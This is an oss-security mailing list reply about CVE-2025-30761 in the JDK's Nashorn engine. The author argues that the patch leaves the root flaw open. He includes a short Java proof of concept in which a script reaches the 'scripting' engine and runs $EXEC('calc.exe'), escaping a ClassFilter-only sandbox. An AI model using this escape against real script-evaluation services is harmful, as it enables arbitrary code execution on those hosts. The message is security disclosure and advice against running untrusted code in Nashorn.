![]() |
|
Message-ID: <2aef7fe7-ba3d-4d6f-bcc4-19163beaaea2@eenterphace.org> Date: Sun, 20 Jul 2025 18:26:27 +0200 From: Moritz Bechler <mbechler@...terphace.org> To: oss-security@...ts.openwall.com, liyajie <liyajie@...neuler.sh> Subject: Re: CVE-2025-30761:A vulnerability in JDK's Nashorn Allows for Arbitrary Code Execution Hi, interesting that they "fixed" this issue now. Way back (<https://mbechler.github.io/2019/03/02/Beware-the-Nashorn/>) reporting something similar, I was told that Nashorn "sandboxing" was not supposed to be secure unless you also configure a SecurityManager (which implicitly suppresses the "engine" property). Restrictions purely based on a ClassFilter have been broken ever since then. And the patch really does not address the fundamental issue, which is that you are able to get and configure a new engine. While the change may stop you from suppressing the inherited no-java flag, why not get direct command execution using another option instead: System.setProperty("nashorn.args", "--no-java"); ScriptEngine e = new ScriptEngineManager().getEngineByName("nashorn"); String cmd = "this.engine.factory.getScriptEngine(\"scripting\").eval('$EXEC(\"calc.exe\")')"; e.eval(cmd); So, imho, the proper advice still should be not to use Nashorn for running untrusted code. best regards Moritz
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.